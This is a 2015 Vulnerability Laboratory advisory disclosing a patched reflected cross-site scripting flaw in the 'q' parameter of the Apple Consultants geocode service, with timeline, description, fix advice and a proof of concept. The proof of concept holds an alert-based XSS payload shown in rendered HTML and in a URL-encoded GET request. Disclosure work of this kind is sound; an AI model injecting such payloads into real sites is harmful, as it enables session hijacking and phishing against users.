Apple Consultants - Client Side Cross Site Vulnerability

Document Title:
===============
Apple Consultants - Client Side Cross Site  Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1533

Apple ID:  624519287


Release Date:
=============
2015-08-11


Vulnerability Laboratory ID (VL-ID):
====================================
1533


Common Vulnerability Scoring System:
====================================
3.3


Product & Service Introduction:
===============================
Apple Inc. is an American multinational technology company headquartered in Cupertino, California, that designs, develops, and sells 
consumer electronics, computer software, online services, and personal computers. Its best-known hardware products are the Mac line 
of computers, the iPod media player, the iPhone smartphone, the iPad tablet computer, and the Apple Watch smartwatch. Its online 
services include iCloud, the iTunes Store, and the App Store. Apple`s consumer software includes the OS X and iOS operating systems, 
the iTunes media browser, the Safari web browser, and the iLife and iWork creativity and productivity suites.

(Copy of the Homepage: https://en.wikipedia.org/?title=Apple_Inc. )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered an client-side input validation web vulnerability in the official Apple Consultants online-service web-application.


Vulnerability Disclosure Timeline:
==================================
2015-06-20:	Researcher Notification & Coordination (Benjamin Kunz Mejri)
2015-06-22:	Vendor Notification 1 (Apple Product Security Team)
2015-07-12:	Vendor Response/Feedback (Apple Product Security Team)
2015-08-06:	Vendor Fix/Patch (Apple Developer Team - Cupertino)
2015-08-12:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Apple
Product: Apple Consultants - Online Service (Web-Application) 2015 Q2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
A non-persistent input validation web vulnerability has been discovered in the official Apple Consultants online-service web-application.
The security vulnerability allows remote attackers to manipulate client-side application to browser requests to compromise user or admin session information.

The vulnerability is located in the `q` value of the apple consultants `geocode` online-service module. Remote attackers are able to 
inject malicious script codes to client-side application requests. Remote attackers are able to prepare special crafted weblinks to execute 
client-side script code that compromises the apple user/admin session data. The execution of the script code occurs in the geocode module of 
the apple consultants website. The injection point of the issue is the vulnerable `q` value. The attack vector of the vulnerability is located 
on the client-side of the online-service and the request method to inject or execute the code is GET. There is no secure validation that filters 
or blocks the entries of the vulnerable input fields. neither the firewall or basic web-server validation blocks to inject client-side script codes.

The security risk of the non-persistent cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.3.
Exploitation of the non-persistent cross site scripting web vulnerability requires no privilege web application user account and low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing, non-persistent external redirects, non-persistent 
load of malicious script codes or non-persistent web module context manipulation.

Request Method(s):
				[+] GET

Vulnerable Service(s):
				[+] Apple Consultants (API)

Vulnerable Module(s):
				[+] geocode

Vulnerable Parameter(s):
				[+] q


Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerability can be exploited by remote attackers without privilege application user account and with low or medium user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

PoC: Location GEO
<div class="search-header clearfix">
<h2>0 locations near <em class="searchTerm">'><img onerror="alert(document.domain)" src="c"><iframe src="c">, United States</em></iframe></em></h2>
<div class="float-right">
<h2 class="a11y">0 locations near <em class="searchTerm">'><img onerror="alert(document.domain)" src="c"><iframe src="c">, United States</em></iframe></em></h2>
<button class="cons-button" id="filter-trigger" aria-expanded="false" aria-controls="filters">Filters<span class="a11y">(Show)</span>
<span class="hide">(Hide)</span></button>

--- POC Session Logs [GET] ---
13:08:41.094[206ms][total 206ms] Status: 200[OK]
GET https://api.apple-mapkit.com/v1/geocode?q=%27%3E%3Cimg%20src%3D%22c%22%20onerror%3Dalert(document.domain)%3E%3Ciframe%20src%3D%22c%22%3E&lang=en&limitToCountries=US&userLocation=35.8876432%2C3.7754009 Load Flags[LOAD_BACKGROUND  ] Content Size[14] Mime Type[application/json]
   Request Headers:
      Host[api.apple-mapkit.com]
      User-Agent[Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[en-US,en;q=0.5]
      Accept-Encoding[gzip, deflate]
      Referer[https://consultants.apple.com/us/search]
      Origin[https://consultants.apple.com]
      Connection[keep-alive]
   Response Headers:
      access-control-allow-origin[*]
      Content-Type[application/json; charset=utf-8]
      Date[Mon, 22 Jun 2015 12:10:45 GMT]
      Content-Length[14]


Reference(s):
https://api.apple-mapkit.com/
https://consultants.apple.com/
https://api.apple-mapkit.com/v1/geocode


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable `q` value in the `v1/geocode` GET method request


Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerability in the consultants service of apple is estimated as medium. (CVSS 3.3)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [[email protected]]


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=========================
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